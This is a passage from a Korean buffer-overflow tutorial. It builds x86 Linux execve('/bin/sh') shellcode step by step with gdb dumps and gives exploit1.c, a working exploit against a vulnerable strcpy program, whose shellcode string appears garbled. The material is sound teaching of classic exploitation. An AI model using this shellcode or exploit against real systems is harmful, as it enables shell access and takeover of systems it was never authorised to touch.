림 2)는 그럼 fghij라는 버퍼와 abc 버퍼를 함께 사용했을 경우이다. 그림 2)에서 색칠이 된

부분은 사용되지 않는 바이트이다. 하나의 word가 4바이트로 되어 있는 블록이라고 앞에서

이야기 했는데, fghij라는 버퍼는 null까지 포함하면 결국 2바이트가 사용되지 않게 된다. 이

것은 fghij가 두개의 word를 사용해야 해야 하며, 하나의 word는 4바이트로 되어 있기 때문

이다. 다음 프로그램을 실행시켜 보자. strcpy가 바운드 체킹을 하지 않는다는 것을 이해할

수 있으며, 메모리에서 버퍼의 모양을 쉽게 이해할 수 있을 것이다.

test.c by vangelis

_________________________________________________________________________________

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv){

char vangelis[4]=”tmp”;

char hacker[8]=”hacking”;

strcpy(hacker, “wowhackerA”);

printf(“%s₩n”,vangelis);

return 0;

}

_________________________________________________________________________________

이것을 실행해보자.

[root@vangelis bof]# gcc –o test test.c

[root@vangelis bof]# ./test

rA

왜 이런 결과가 나왔을까. vangelis라는 버퍼와 hacker라는 버퍼는 스택에 저장되어 있

15

Page 16: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

다. wowhackerA라는 10개의 문자가 8바이트밖에 되지 않는 버퍼에 복사될 때 vangelis라

는 버퍼는 변경된다. 즉, 버퍼 오버플로우가 일어난 것이다. 아래 그림을 보자.

₩0 p m t

₩0 g n i

k c a h

₩0 ₩0 A r

e k c a

h w o w

--

그림1) 초기 스택 구조 그림2) 오버플로우 후 스택 구조

위의 그림을 보면 오버플로우 취약점 공격의 원리를 쉽게 알 수 있을 것이다.

다시 example2.c로 돌아가자. 리턴 어드레스는 buffer1[]의 시작 부분으로부터 12바이

트이다. 여기서 리턴값을 변경하는 방법은 함수 호출이 jump 한 후 ‘x=1;’과 같이 할당하는

것이다. 그렇게 하기 위해 리턴 어드레스에 8바이트를 추가한다. 그러면 코드는 다음과 같

게 된다.

example3.c by Aleph One

_________________________________________________________________________________

void function(int a, int b, int c){

char buffer1[5];

char buffer2[10];

int *ret;

ret=buffer1+12;

(*ret) +=8;

}

void main(){

int x;

x=0;

function(1,2,3);

x=1;

printf(“%d₩n”,x);

}

_____________________________________________________________________________________

16

Page 17: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

여기서 buffer1[]의 주소에 12를 추가했다. 이 새 주소는 리턴 어드레스가 저장되어 있

는 곳이다. 우리가 리턴 어드레스에 8바이트를 추가할 것인가를 어떻게 안 것인가.

$ gdb example3

GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(no debugging symbols found)...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 : pushl %ebp

0x8000491 : movl %esp,%ebp

0x8000493 : subl $0x4,%esp

0x8000496 : movl $0x0,0xfffffffc(%ebp)

0x800049d : pushl $0x3

0x800049f : pushl $0x2

0x80004a1 : pushl $0x1

0x80004a3 : call 0x8000470

0x80004a8 : addl $0xc,%esp

0x80004ab : movl $0x1,0xfffffffc(%ebp)

0x80004b2 : movl 0xfffffffc(%ebp),%eax

0x80004b5 : pushl %eax

0x80004b6 : pushl $0x80004f8

0x80004bb : call 0x8000378

0x80004c0 : addl $0x8,%esp

0x80004c3 : movl %ebp,%esp

0x80004c5 : popl %ebp

0x80004c6 : ret

0x80004c7 : nop

------------------------------------------------------------------------

function()함수를 호출할 때, RET 는 0x80004a8 이 될 것이라는 것을 알 수 있다. 그리고

우리는 0x80004ab 에 있는 할당식을 뛰어 넘어가기를 원한다. 우리가 실행하기를 원하는

다음 명령은 0x80004b2 에 있다. 이것은 약간의 계산만 해도 8 바이트라는 것을 알 수 있다.

참고로 초보자들을 위해 10 진수를 16 진수로 변환했을 때의 표는 다음과 같다.

17

Page 18: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

10진수 16진수 10진수 16진수

0 0 8 8

1 1 9 9

2 2 10 a

3 3 11 b

4 4 12 c

5 5 13 d

6 6 14 e

7 7 15 f

2-1-4. 쉘코드

쉘코드에 대해 알아보기 전에 복습의 의미로 다시 한번 다음을 상기하자. 앞에서 함수

호출에 대해 이야기 할 때 바이너리를 디스어셈블하고, 다음 명령의 주소가 저장되어 있는

EIP 레지스터에 대해 알아보았다. 그리고 call 명령은 이 주소를 쌓고, ret 함수는 그것을

치운다는 것을 우리는 알고 있다. 이것은 프로그램이 실행될 때 다음 명령의 주소가 스택에

저장되고, 결과적으로 만약 우리가 스택에 있는 이 값을 변경하는데 성공한다면 EIP 가

우리가 원하는 값을 가지도록 할 수 있다는 것을 의미한다.

쉘코드란 쉘을 실행하도록 만드는 기계어코드로서 char 형 배열(array)이다. 다음이 그

예이다. 이것은 Aleph One 이 제작한 것이다.

char shellcode[]=

“₩xeb₩x1f₩x5e₩x89₩x76₩x08₩x31₩xc0₩x88₩x46₩x07₩x89₩x46₩x0c₩xb0₩x0b”

“₩x89₩xf3₩x8d₩x4e₩x08₩x8d₩x56₩x0c₩xcd₩x80₩x31₩xdb₩x89₩xd8₩x40₩xcd”

“₩x80₩xe8₩xdc₩xff₩xff₩xff/bin/sh”;

쉘이란 이미 앞에서도 말했듯이 일종의 명령 해석기이다. 만약 쉘을 획득한다면 많은

작업을 할 수 있을 것이다. 그리고 획득한 쉘이 루트쉘이라면 사실 시스템 전체를 장악할

수 있게 된다. 다음은 쉘코드를 실행하기 전과 실행한 후의 스택의 구조를 보여주는 예이다.

이전:

FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF

B = buffer

E = stack frame pointer

R = return address

F = 다른 data

18

Page 19: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

이후:

FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

S = shellcode

A = shellcode를 가리키는 주소

F = 다른 data

우리는 앞에서 일반적인 스택의 도식도는 다음과 같다고 배웠다.

지역변수(버퍼) SFP RET 함수 인자

이 도식도를 위의 임의의 코드를 실행하기 전의 스택 구조와 함께 보자. 지역변수에

버퍼 BB…가 들어가고, 스택 프레임 포인터 EEEE 가 SFP 이며, RRRR 이 리턴 어드레스

RET 이다.

우리가 버퍼 오버플로우 취약점을 가진 프로그램을 공격하여 쉘을 획득하는 것은

우리가 덮어쓰고자 하는 버퍼에 쉘을 실행하는 쉘코드를 넣고, 함수가 리턴할 주소에

쉘코드의 주소를 가리키도록 함으로써이다. 이것은 위의 쉘코드를 실행하기 전과 후의 스택

구조를 보면 알 수 있다. 이제 우리에게 남은 것은 어떻게 쉘코드를 작성할 것인가와

리턴할 주소에 쉘코드의 주소를 가리키도록 하는 방법, 즉 RET 을 변경하는 방법을

알아내는 것이다.

이제부터 쉘코드를 작성하는 방법에 대해 알아보자. 쉘코드는 다음과 같이 쓸 수 있다.

1. char code[]={0x90,0x90...};

2. char code[]="₩x90₩x90...";

둘 다 가능하므로 편안한 대로 사용하면 된다. 자, 본격적으로 들어가보자.

다음은 C에서 쉘을 실행시키는 프로그램이다.

shellcode.c

------------------------------------------------------------------------

#include <stdio.h>

#include <unistd.h>

void main() {

char *sh[2];

sh[0] = "/bin/sh";

19

Page 20: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

sh[1] = NULL;

execve(sh[0], sh, NULL);

}

------------------------------------------------------------------------

위의 코드를 보면 왜 하필이면 많은 exec 함수 중에서 execve 가 사용되었는가?

이것은 execve 가 int $0x80 으로 호출하는 유일한 exec 함수이기 때문이다. 이것을

–static 옵션을 주고 컴파일 하고, 그것을 gdb 로 돌려보자.

[root@vangelis bof] #gcc shellcode.c -o shellcode -static

[root@vangelis bof] #gdb shellcode

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to

change it and/or distribute copies of it under certain conditions. Type "show copying" to see the

conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This

GDB was configured as "i686-pc-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x80481c0 <main>: push %ebp

0x80481c1 <main+1>: mov %esp,%ebp

0x80481c3 <main+3>: sub $0x8,%esp

0x80481c6 <main+6>: movl $0x8073768,0xfffffff8(%ebp)

0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp)

0x80481d4 <main+20>: push $0x0

0x80481d6 <main+22>: lea 0xfffffff8(%ebp),%eax

0x80481d9 <main+25>: push %eax

0x80481da <main+26>: mov 0xfffffff8(%ebp),%eax

0x80481dd <main+29>: push %eax

0x80481de <main+30>: call 0x804ea70 <__execve>

0x80481e3 <main+35>: add $0xc,%esp

0x80481e6 <main+38>: xor %eax,%eax

0x80481e8 <main+40>: jmp 0x80481f0 <main+48>

0x80481ea <main+42>: lea 0x0(%esi),%esi

0x80481f0 <main+48>: mov %ebp,%esp

0x80481f2 <main+50>: pop %ebp

20

Page 21: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

0x80481f3 <main+51>: ret

0x80481f4 <main+52>: nop

0x80481f5 <main+53>: nop

0x80481f6 <main+54>: nop

0x80481f7 <main+55>: nop

0x80481f8 <main+56>: nop

0x80481f9 <main+57>: nop

0x80481fa <main+58>: nop

0x80481fb <main+59>: nop

0x80481fc <main+60>: nop

0x80481fd <main+61>: nop

0x80481fe <main+62>: nop

0x80481ff <main+63>: nop

End of assembler dump.

main 부분을 살펴보자. 모든 함수는 여기서 시작된다.

_____________________________________________________________________________________

void main(){

char *sh[2];

sh[0]="/bin/sh";

sh[1]=NULL;

execve(sh[0],sh,NULL);

}

_____________________________________________________________________________

main -> push %ebp

main+1 ->movl %esp,%ebp

이 부분은 모든 함수에서 표준적인 프로시저이다. 보통 procedure prelude라고 한다.

먼저 %ebp(구 프레임 포인터)를 저장하고, 그런 다음 %esp(현재의 스택

포인터)를 %ebp(새로운 프레임 포인터)로 옮기고 새로운 프레임 포인터로 만든다.

main+3 -> sub $0x8,%esp

%esp를 0x8로 뺀다(sub). 이것은 로컬 변수를 위한공간을 확보하기 위한 것이다. 이

경우에 로컬 변수는 char *sh[2]; 부분이다. 두 개의 char형 변수를 처리하는 포인터가

선언되었다. 이 포인터는 하나의 word 길이이므로, 8바이트(두 개의 word에 해당, 한

21

Page 22: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

word당 4바이트, 2×4=8. 요건 앞에서 자세하게 설명했다.)의 공간을 확보하는 것이다.

main+6 -> movl 0x8073768,0xfffffff8(%ebp)

0x8073768(문자열 “/bin/sh”의 주소)이란 값을 %ebp(-0x8)에 넣는다. 0xfffffff8은 0x8의

보수 표현이니 다르다고 생각할 필요는 없다. 이것은 sh[0]="/bin/sh";와 동일한 부분이다.

main+13 -> movl $0x0,0xfffffffc(%ebp)

이것은 sh[1]=NULL;과 같은 부분이다. 즉, NULL(0x0)값을 sh[]의 두번째 포인터 –0x4에

복사한다. execve()에 대한 실제적인 호출이 여기서 시작된다.

main+20 -> pushl $0x0

execve의 호출이 여기서 시작되고, 스택에 역순으로 함수의 인자들을 어넣는다.(이것은

x86 구조는 위쪽에서 아래로 작동한다는 것과 관계 있다.) NULL로 시작한다.

main+22 -> lea 0xfffffff8(%ebp),%eax

lea는 load effective address라는 의미로, sh의 주소를 포인터 배열 안으로 로딩한다. 즉,

sh[]의 주소를 eax 레지스터 안으로 로딩하는 것이다. 앞에서 언급한 레지스터 분류를

상기하자.

main+25 -> pushl %eax

스택 위로 sh[]의 주소를 넣는다.

main+26 -> movl 0xfffffff8(%ebp),%eax …

0xfffffff8(%ebp)에 문자열 “/bin/sh”의 주소를 가지게 되었다. 즉, eax 레지스터에 문자열

“/bin/sh”의 주소를 로딩한다.

0x80481dd <main+29>: push %eax

스택에 문자열 “/bin/sh”의 주소를 넣는다.

0x80481de <main+30>: call 0x804ea70 <__execve>

22

Page 23: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

라이브러리 프로시저 execve()를 호출한다. call 명령은 IP를 스택에 넣는다.

이제 execve() 부분을 살펴보자.

(gdb) disass execve

Dump of assembler code for function __execve:

0x804ea70 <__execve>: push %ebx

0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx

0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx

0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx

0x804ea7d <__execve+13>: mov $0xb,%eax

0x804ea82 <__execve+18>: int $0x80

0x804ea84 <__execve+20>: pop %ebx

0x804ea85 <__execve+21>: cmp $0xfffff001,%eax

0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error>

0x804ea90 <__execve+32>: ret

End of assembler dump.

(gdb) quit

__execve+1 mov 0x10(%esp,1),%edx

%edx에 세번째 인자의 주소를 가져야 한다. NULL이 세 번째 인자이다. 이것은

disassemble한 main에서 %ebp(-0x8)의 주소가 %edx에 들어간다는 것을 의미한다.

__execve+5 mov 0xc(%esp,1),%ecx

%ecx에 sh의 주소를 가져야 한다. sh는 두 번째 인자였다.

__execve+9 mov 0x8(%esp,1),%ebx

“/bin/sh”의 주소를 %ebx에 가져야 한다. sh[0]이 첫번째 인자였다.

__execve+13 mov $0xb,%eax

0xb는 execve에 대한 시스템 호출이다.

23

Page 24: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

execve+18 int $0x80

커널 모드로 변경된다.

이제 해야 할 것은 다음과 같다.

1. %edx에 NULL의 주소를 가져야 한다.

2. %ecx에 sh의 주소를 가져야 한다.

3. %ebx에 “/bin/sh”의 주소를 가져야 한다.

4. %eax에 0xb를 복사해야 한다.

5. int $0x80을 호출해야 한다. 즉, int $0x80 명령을 실행한다는 말이다.

이제 “/bin/sh” 문자열의 메모리에서 정확한 주소가 필요하다. 간단히 EIP를 스택에

어넣을 호출 뒤에 “/bin/sh”를 넣을 수 있으며, 들어간 EIP는 “/bin/sh” 문자열의 주소가

되어야 한다. 다음 그림을 보자.

[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]

|^______________________^|

|______________________|

코드의 시작 부분에 call로 jmp할 JMP 명령을 넣고, call은 EIP를 저장하고, a의 오프셋으로

간다. EIP는 “/bin/sh”의 주소가 된다.

a - 코드

J - JMP

C - CALL

s - "/bin/sh"

이것을 asm 코드로 써보자.

shell1.c

_____________________________________________________________________________

void main(){

__asm__("jmp 0x1e ₩n" // call로 jmp

"popl %esi ₩n" // 저장된 EIP를 esi로 보내고, /bin/sh 주소를 가지게 됨

24

Page 25: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

"movl %esi,0x8(%esi) ₩n" // /bin/sh 뒤의 sh 주소

"movl $0x0,0xc(%esi) ₩n" // 세번째 인자로서 NULL이 sh 주소 다음으로 감

"movb $0x0,0x7(%esi) ₩n" // '₩0'로 /bin/sh을 끝냄

"movl %esi,%ebx ₩n" // %ebx에서 sh[0]의 주소

"leal %0x8(%esi),%ecx ₩n" // %ecx(두번째 인자)에서 sh의 주소

"leal %0xc(%esi),%edx ₩n" // %edx(세번째 인자)에서 NULL의 주소

"movl $0xb,%eax ₩n" // %eax에서 execve의 sys 호출

" int $0x80 ₩n" // 커널 모드

" call -0x23 ₩n" // popl %esi 호출

" .string ₩"/bin/sh₩" ₩n"); // 문자열

}

_____________________________________________________________________________

이것을 컴파일하여 gdb로 돌려보자.

[root@vangelis bof] #gcc –o shell1 shell1.c

[root@vangelis bof] #gdb shell1

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to

change it and/or distribute copies of it under certain conditions. Type "show copying" to see the

conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This

GDB was configured as "i686-pc-linux-gnu"...

(gdb) x/bx main+3 <---- jmp가 여기서 시작 (“x/bx”는 16진수 기계어를 출력하는 명령어임)

0x8048733 <main+3>: 0xeb

(gdb)

0x8048734 <main+4>: 0x1e

(gdb)

0x8048735 <main+5>: 0x5e

(gdb)

0x8048736 <main+6>: 0x89

(gdb)

0x8048737 <main+7>: 0x76

(gdb)

0x8048738 <main+8>: 0x08

(gdb)

0x8048739 <main+9>: 0xc6

25

Page 26: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb)

0x804873a <main+10>: 0x46

(gdb)

0x804873b <main+11>: 0x07

(gdb)

0x804873c <main+12>: 0x00

(gdb)

0x804873d <main+13>: 0xc7

(gdb)

0x804873e <main+14>: 0x46

(gdb)

0x804873f <main+15>: 0x0c

(gdb)

0x8048740 <main+16>: 0x00

(gdb)

0x8048741 <main+17>: 0x00

(gdb)

0x8048742 <main+18>: 0x00

(gdb)

0x8048743 <main+19>: 0x00

(gdb)

0x8048744 <main+20>: 0x89

(gdb)

0x8048745 <main+21>: 0xf3

(gdb)

0x8048746 <main+22>: 0x8d

(gdb)

0x8048747 <main+23>: 0x4e

(gdb)

0x8048748 <main+24>: 0x08

(gdb)

0x8048749 <main+25>: 0x8d

(gdb)

0x804874a <main+26>: 0x56

(gdb)

0x804874b <main+27>: 0x0c

26

Page 27: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb)

0x804874c <main+28>: 0xb8

(gdb)

0x804874d <main+29>: 0x0b

(gdb)

0x804874e <main+30>: 0x00

(gdb)

0x804874f <main+31>: 0x00

(gdb)

0x8048750 <main+32>: 0x00

(gdb)

0x8048751 <main+33>: 0xcd

(gdb)

0x8048752 <main+34>: 0x80

(gdb)

0x8048753 <main+35>: 0xe8

(gdb)

0x8048754 <main+36>: 0xdd

(gdb)

0x8048755 <main+37>: 0xff

(gdb)

0x8048756 <main+38>: 0xff

(gdb)

0x8048757 <main+39>: 0xff

(gdb)

0x8048758 <main+40>: 0x2f

(gdb)

0x8048759 <main+41>: 0x62

(gdb)

0x804875a <main+42>: 0x69

(gdb)

0x804875b <main+43>: 0x6e

(gdb)

0x804875c <main+44>: 0x2f

(gdb)

0x804875d <main+45>: 0x73

27

Page 28: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb)

0x804875e <main+46>: 0x68 <--------- 코드는 여기서 끝남

(gdb)quit

이것을 정리하여 쉘코드를 써보자.

shell2.c

_____________________________________________________________________________________

char code[]=

"₩xeb₩x1e₩x5e₩x89₩x76₩x08₩xc6₩x46₩x07₩x00₩xc7₩x46₩x0c₩x00₩x00"

"₩x00₩x00₩x89₩xf3₩x8d₩x4e₩x08₩x8d₩x56₩x0c₩xb8₩x0b₩x00₩x00₩x00"

"₩xcd₩x80₩xe8₩xdd₩xff₩xff₩xff₩x2f₩x62₩x69₩x6e₩x2f₩x73₩x68";

int main(){

char buf[5];

long *ret=(long *)(buf+12);

*ret=(long)code;

}

_____________________________________________________________________________

[root@vangelis bof] #gcc –o shell2 shell2.c

[root@vangelis bof] #./shell2

sh-2.03

제대로 작동하는 것 같다. "₩x2f₩x62₩x69₩x6e₩x2f₩x73₩x68"는 “/bin/sh”와 같다. 이

쉘코드를 살펴보자. 여기에는 ₩x00 또는 ‘₩0’가 있다. 알다시피 ‘₩0’은 문자열의 끝이다.

그래서 strcpy 또는 다른 문자열 함수는 ‘₩0’을 발견할 때까지 그것을 복사할 것이다.

‘₩0’을 발견하게 되면 쉘코드는 복사되지 않을 것이다. 그러니 ‘₩0’을 제거하자. 이를 위해

xorl을 사용할 것이다.

(A) 부분을 (B)로 변경해보자.

(A) (B) (xorl %eax,%eax를 추가할 것임)

movb $0x0,0x7(%esi) movb %al,0x7(%esi)

movl $0x0,0xc(%esi) movl %eax,0xc(%esi)

movl $0xb,$eax movb %0xb,%al

이 변경된 것으로 코드를 다시 써보자.

28

Page 29: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

shell3.c

_____________________________________________________________________________

void main(){

__asm__("jmp 0x18 ₩n"

"popl %esi ₩n"

"movl %esi,0x8(%esi) ₩n"

"xorl %eax,%eax ₩n"

"movb %al,0x7(%esi) ₩n"

"movl %eax,0xc(%esi) ₩n"

"movl %esi,%ebx ₩n"

"leal 0x8(%esi),%ecx ₩n"

"leal 0xc(%esi),%edx ₩n"

"movb $0xb,%al ₩n"

"int $0x80 ₩n"

"call -0x1d ₩n"

".string ₩"/bin/sh₩" ₩n");

}

_____________________________________________________________________________

이 코드를 컴파일 하여 gdb로 돌려보자.

[root@vangelis bof] #gcc –o shell3 shell3.c

[root@vangelis bof] #gdb shell3

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to

change it and/or distribute copies of it under certain conditions. Type "show copying" to see the

conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This

GDB was configured as "i686-pc-linux-gnu"...

(gdb) x/bx main+3 <---------여기서 jmp 시작

0x80483c3 <main+3>: 0xeb

(gdb)

0x80483c4 <main+4>: 0x18

(gdb)

0x80483c5 <main+5>: 0x5e

(gdb)

0x80483c6 <main+6>: 0x89

29

Page 30: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb)

0x80483c7 <main+7>: 0x76

(gdb)

0x80483c8 <main+8>: 0x08

(gdb)

0x80483c9 <main+9>: 0x31

(gdb)

0x80483ca <main+10>: 0xc0

(gdb)

0x80483cb <main+11>: 0x88

(gdb)

0x80483cc <main+12>: 0x46

(gdb)

0x80483cd <main+13>: 0x07

(gdb)

0x80483ce <main+14>: 0x89

(gdb)

0x80483cf <main+15>: 0x46

(gdb)

0x80483d0 <main+16>: 0x0c

(gdb)

0x80483d1 <main+17>: 0x89

(gdb)

0x80483d2 <main+18>: 0xf3

(gdb)

0x80483d3 <main+19>: 0x8d

(gdb)

0x80483d4 <main+20>: 0x4e

(gdb)

0x80483d5 <main+21>: 0x08

(gdb)

0x80483d6 <main+22>: 0x8d

(gdb)

0x80483d7 <main+23>: 0x56

(gdb)

0x80483d8 <main+24>: 0x0c

30

Page 31: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

(gdb)

0x80483d9 <main+25>: 0xb0

(gdb)

0x80483da <main+26>: 0x0b

(gdb)

0x80483db <main+27>: 0xcd

(gdb)

0x80483dc <main+28>: 0x80

(gdb)

0x80483dd <main+29>: 0xe8

(gdb)

0x80483de <main+30>: 0xe3

(gdb)

0x80483df <main+31>: 0xff

(gdb)

0x80483e0 <main+32>: 0xff

(gdb)

0x80483e1 <main+33>: 0xff

(gdb)

0x80483e2 <main+34>: 0x2f

(gdb)

0x80483e3 <main+35>: 0x62

(gdb)

0x80483e4 <main+36>: 0x69

(gdb)

0x80483e5 <main+37>: 0x6e

(gdb)

0x80483e6 <main+38>: 0x2f

(gdb)

0x80483e7 <main+39>: 0x73

(gdb)

0x80483e8 <main+40>: 0x68 <---------여기서 코드 끝

(gdb)quit

이것을 다시 써보자.

31

Page 32: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

shell4.c

_____________________________________________________________________________________

char code[]="

₩xeb₩x18₩x5e₩x89₩x76₩x08₩x31₩xc0₩x88₩x46₩x07₩x89₩x46₩x0c”

“₩x89₩xf3₩x8d₩x4e₩x08₩x8d₩x56₩x0c₩xb0₩x0b₩xcd₩x80₩xe8₩xe3”

“₩xff₩xff₩xff/bin/sh" ;

void main(){

char buf[5];

long *ret=(long *)(buf+12);

*ret=(long)code;

}

_____________________________________________________________________________

[root@vangelis bof] #gcc –o shell4 shell4.c

[root@vangelis bof] ./ shell4

sh-2.03#

이제 깔끔하게 작동하는 쉘코드를 작성했다. 이제 취약한 프로그램을 공격하는 것에 대해

알아보자. 참고로 각종 쉘코드는 BADC0DED 4 에서 구할 수 있으며, 앞으로 나올 각종

exploit의 쉘코드는 Aleph One의 쉘코드를 사용할 것이다.

shellcode by Aleph One

_____________________________________________________________________________________

char shellcode[]=

“₩xeb₩x1f₩x5e₩x89₩x76₩x08₩x31₩xc0₩x88₩x46₩x07₩x89₩x46₩x0c₩xb0₩x0b”

“₩x89₩xf3₩x8d₩x4e₩x08₩x8d₩x56₩x0c₩xcd₩x80₩x31₩xdb₩x89₩xd8₩x40₩xcd”

“₩x80₩xe8₩xdc₩xff₩xff₩xff/bin/sh”;

_____________________________________________________________________________________

2-1-5. 공격

우리가 특정 프로그램의 버퍼를 오버플로우시켜 공격을 할 때 문제는 버퍼의 주소를 찾아내

는 것이다. 버퍼의 주소를 알아야 그곳을 오버플로우시킬 것이 아닌가. 어떻게 찾아야 될

까? 이것에 대한 해결책으로 모든 프로그램은 스택이 같은 주소에서 시작된다는 것이다. 대

부분의 프로그램들은 한번에 스택에 수백 수천 바이트를 넣지 않는다. 그래서 스택이 어디

4 http://community.core-sdi.com/~juliano/shellcode

32

Page 33: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

에 있는지 알고 있다면 버퍼의 주소를 추측할 수 있게 될 것이다. 물론 많은 시행착오를 겪

을 수 있다.

다음 프로그램은 스택 포인터를 알려주는 것이다.

sp.c

_____________________________________________________________________________________

unsigned long get_sp(void){

__asm__(“movl %esp,%eax”);

}

void main(){

printf(“0x%x₩n”,get_sp());

}

_____________________________________________________________________________________

이제 버퍼 오버플로우 취약점을 가진 프로그램을 공격하는 것에 대해 알아보자. 다음 프로

그램을 우리는 공격할 것이다.

vul.c

_____________________________________________________________________________________

void main(int argc,char **argv[]){

char buffer[512];

if (argc > 1)

strcpy(buffer,argv[1]);

}

_____________________________________________________________________________________

다음은 위의 취약함 프로그램을 공격하는 exploit이다.

exploit1.c

______________________________________________________________________________________________

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

33

Page 34: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

char shellcode[] =

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[])

{

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%xn", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr += 4;

for (i = 0; i < strlen(shellcode); i++)

34

Page 35: Theory of Buffer Overflow · 2015. 1. 22. · 서 문 Theory of Buffer Overflow (버전 1.0)는 오버플로우 기법과 방어에 대해 종합적 으로 정리하고 이해하고자

*(ptr++) = shellcode[i];

buff[bsize - 1] = '';

memcpy(buff,"WOW=",4);

putenv(buff);

system("/bin/bash");

}

______________________________________________________________________________________________

이제 offset(버퍼주소=스택 포인터+offset)을 추측해보자.

$ exploit1 600

Using address: 0xbffff6c3

$ ./vul $WOW

$ exploit1 600 100

Using address: 0xbffffce6

$ ./vul $WOW

segmentation fault

.

.

이 프로세스는 거의 불가능한 것처럼 보인다. 수많은 시행착오를 겪어야 될 것 같다. 그래

서 우리는 정확한 버퍼의 주소를 추측해야 한다. 정확한 버퍼의 주소를 추측해내기 위해 오

버플로우 되는 버퍼에 쉘코드 앞에 NOP(Null Operation)을 붙인다. NOP 명령은 타이밍을

위해 실행을 연기시키는데 사용된다. NOP을 오버플로우가 일어나는 버퍼의 반을 채운다.

그리고 쉘코드를 중앙에 위치시킨 후 그 다음에 리턴 어드레스가 나오도록 한다. 만약 덮어

쓰인 리턴 어드레스가 NOP 문자열 내부를 가리킨다면 우리가 만든 코드가 실행될 것이다.

